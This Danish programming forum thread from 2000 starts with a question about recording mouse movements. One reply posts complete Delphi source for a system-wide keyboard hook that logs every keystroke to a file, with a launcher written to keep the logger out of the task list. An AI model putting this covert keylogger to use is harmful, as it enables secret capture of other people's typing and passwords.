Avatar billede zimmer Nybegynder
18. maj 2000 - 17:04 Der er 7 kommentarer og
1 løsning

styre musen i andre programmer

Er der nogen der har noget kode til hvordan man kan lave en slags "muse-optager" altså et program til at optage musens bevægelser henover skærmen og hvad den klikker på.. Og så derefter kan afspille det igen..?
Avatar billede sjensen Nybegynder
18. maj 2000 - 17:56 #1
Delphi som sådan understøtter ikke musebevægelser i andre programmer (eller i windows), men har kun OnMouseDown/-Up og -Over for det program du laver i delphi, men du bør kunne "grappe" den message der sendes fra alle programmer til Windows for at få flyttet musen. Så det vil være et spørgsmål om at lave et program der ser på alle windows messages og piller dem ud der har med musebevægelser at gøre, gemme de data der er med (eller hele meddelelsen) og så sende den videre igen.

Jeg har desværre ingen eksempler på lige netop musebevægelser men der findes mange eksempler på hvordan du kan se de meddelelser windows sender/modtager og hvad du kan gøre ved/med dem. Se under Delphi og Samples for eksempler på "Windows Message Hook".
Avatar billede stoons Nybegynder
18. maj 2000 - 21:55 #2
JA!
Prøv lige at checke følgende ud i Hjælpfilen (win32.hlp!)

VOID MouseEventProc(MOUSE_EVENT_RECORD);
VOID ResizeEventProc(WINDOW_BUFFER_SIZE_RECORD);
VOID KeyEventProc(KEY_EVENT_RECORD);
VOID GetInputEvents(VOID);

DWORD main(VOID) {
    HANDLE hStdin;
    DWORD cNumRead, fdwMode, fdwSaveOldMode, i;
    INPUT_RECORD irInBuf[128];

    /* Get the standard input handle. */

    hStdin = GetStdHandle(STD_INPUT_HANDLE);
    if (hStdin == INVALID_HANDLE_VALUE)
        MyErrorExit("GetStdHandle");

    /* Save the current input mode, to be restored on exit. */


    if (! GetConsoleMode(hStdin, &fdwSaveOldMode) )
        MyErrorExit("GetConsoleMode");

    /* Enable the window and mouse input events. */

    fdwMode = ENABLE_WINDOW_INPUT | ENABLE_MOUSE_INPUT;
    if (! SetConsoleMode(hStdin, fdwMode) )
        MyErrorExit("SetConsoleMode");

    /* Loop to read and handle the input events. */

    while (1) {

        /* Wait for the events. */

        if (! ReadConsoleInput(
                hStdin,      /* input buffer handle    */

                irInBuf,    /* buffer to read into    */
                128,        /* size of read buffer    */
                &cNumRead) ) /* number of records read */
            MyErrorExit("ReadConsoleInput");

        /* Dispatch the events to the appropriate handler. */

        for (i = 0; i < cNumRead; i++)
            switch(irInBuf[i].EventType) {

                case KEY_EVENT: /* keyboard input */
                    KeyEventProc(irInBuf[i].Event.KeyEvent);

                    break;

                case MOUSE_EVENT: /* mouse input */
                    MouseEventProc(irInBuf[i].Event.MouseEvent);
                    break;

                case WINDOW_BUFFER_SIZE_EVENT: /* scrn buf. resizing */
                    ResizeEventProc(
                        irInBuf[i].Event.WindowBufferSizeEvent);
                    break;

                case FOCUS_EVENT:  /* disregard focus events */

                case MENU_EVENT:  /* disregard menu events  */

                    break;

                default:
                    MyErrorExit("unknown event type");
                    break;
            }

    }

    return 0;

Jeg ved godt at det er C, men det kan du jo bare [ = ( ] oversætte til delphi... Der skulle være en løsning!
Avatar billede stoons Nybegynder
18. maj 2000 - 21:58 #3
PS: Jeg glemte lige starten:

The ReadConsoleInput function can be used to directly access a console's input buffer. When a console is created, mouse input is enabled and window input is disabled. To ensure that the process receives all types of events, this example uses the SetConsoleMode function to enable window and mouse input. Then it goes into a loop that reads and handles console input events.

Avatar billede stoons Nybegynder
19. maj 2000 - 22:50 #4
...og så er der noget som hedder WRITEconsoleinput..!

Avatar billede zimmer Nybegynder
23. maj 2000 - 18:15 #5
Read- og WriteConsoleInput er kun noget man kan arbejde med i dos-vinduer.. Så vidt jeg kan se..?? Men jeg tror jeg har fundet noget mere interessant..
Disse funktioner, konstanter skulle kunne gøre det..
SetWindowsHookEx, MouseProc, WH_KEYBOARD
Jeg har også fundet et eksempel i win32.. Se efter "Monitoring System Events"

Problemet er at eksemplet er i C.. Så hvis en eller anden har et tilsvarende eksempel i Delphi, jeg kan bruge, så giver jeg de 100 point..
Avatar billede borrisholt Novice
28. maj 2000 - 18:50 #6
Sådan laver man et keyboardhook i Delphi !


De følgende tre programmer viser hvordan man sætter et  Windows hook til at fange system keystrokes og gemmer dem i en fil.
Disse programmer bruger WH_KEYBOARD hook'et men kan næmt anvendes på en hvilken som helst of de tilgænglige hool kalsser.

Siden ingen af disse applicationer kræver noget af Delphi's standard application framework bør de blive gemt som
.dpr filer.

Startup
Starter hoved programmet som en selvstendig process for at undgå den optræder i Windows' tasklist.
Du skal ændre 'ProgramName' constanten til at pege på SNOOP exe filen. Dette step kan dog udelades hvis du er
ligeglad med en entry i task bar'en.

Snoop
Dette modul loader SNOOPDLL modulet of instalerer det som et keyboard hook. Programmet udfører en infinite sleep for
at DLL handle'et forbliver valid. Jeg har inkluderet den nødvendige cleanup code selvom den i dette eksempel aldrig bliver kaldt.


SnoopDll
Dette er DLL'en som udfører det etenlige arbejde. Filen bliver åbnet og lukket ved hvert kald, for at filen kan blive tilgået
når som helst. Dette krerer nødvendigvis en masse I/O, som kan ungås med noget buffer kode.me buffering code.

program startup;
uses Windows;
{$R *.RES}


const ProgramName = 'SNOOP.EXE';
var
  StartupInfo : TStartupInfo;
  ProcessInformation : TProcessInformation;
Begin
  GetStartupInfo(StartupInfo);
  CreateProcess(ProgramName,Nil,Nil,Nil,False,DETACHED_PROCESS,Nil,Nil,StartupInfo,
  ProcessInformation);
end.


program Snoop;
uses Windows;
{$R *.RES}

var
  Hook : HHOOK;
  DllInstance : DWORD;
  HookProc : FARPROC;

Begin
  DllInstance := LoadLibrary('SNOOPDLL');
  HookProc := GetProcAddress(DllInstance, 'HookProcedure');
  Hook := SetWindowsHookEx(WH_KEYBOARD, HookProc, DllInstance, 0);
  Sleep(INFINITE);
  UnhookWindowsHookEx(Hook);
  FreeLibrary(DllInstance);
end.


library snoopdll;

uses Windows;
Procedure HookProcedure(nCode: Integer; wParam: WPARAM; lParam: LPARAM); stdcall;
var
  LogFile : THandle;
  BytesWritten : DWORD;
  Ch : Byte;
begin
  if ((HiWord(lParam) and KF_UP) <> 0) and (nCode = HC_ACTION) then
  begin
      LogFile := CreateFile('Keys.txt', GENERIC_WRITE, FILE_SHARE_READ, Nil, OPEN_ALWAYS, 0, 0);
      SetFilePointer(LogFile, 0, Nil, FILE_END);
      WriteFile (LogFile, wParam, 1, BytesWritten, Nil);

      if Lo(wParam) = 13 then
      begin
        Ch := 10;
        WriteFile (LogFile, Ch, 1, BytesWritten, Nil);
      end;

      CloseHandle(LogFile);
  end;
  CallNextHookEx(0, nCode, wParam, lParam);
end;

exports HookProcedure;
begin
end.


Jens B
Avatar billede borrisholt Novice
14. august 2000 - 13:26 #7
Jeg implementerede et keyboardhook til dig .. Det skulle illustere hvordan man lavede et hook ind i windows .... Hvis det ikke er det du vil have hvad er det så ?

Jens B
Avatar billede zimmer Nybegynder
30. september 2000 - 01:15 #8
Tak mange gange.. Undskyld jeg ikke har svaret før nu..!
Avatar billede Ny bruger Nybegynder

Din løsning...

Tilladte BB-code-tags: [b]fed[/b] [i]kursiv[/i] [u]understreget[/u] Web- og emailadresser omdannes automatisk til links. Der sættes "nofollow" på alle links.

Loading billede Opret Preview
Kategori
Kurser inden for grundlæggende programmering

Log ind eller opret profil

Hov!

For at kunne deltage på Computerworld Eksperten skal du være logget ind.

Det er heldigvis nemt at oprette en bruger: Det tager to minutter og du kan vælge at bruge enten e-mail, Facebook eller Google som login.

Du kan også logge ind via nedenstående tjenester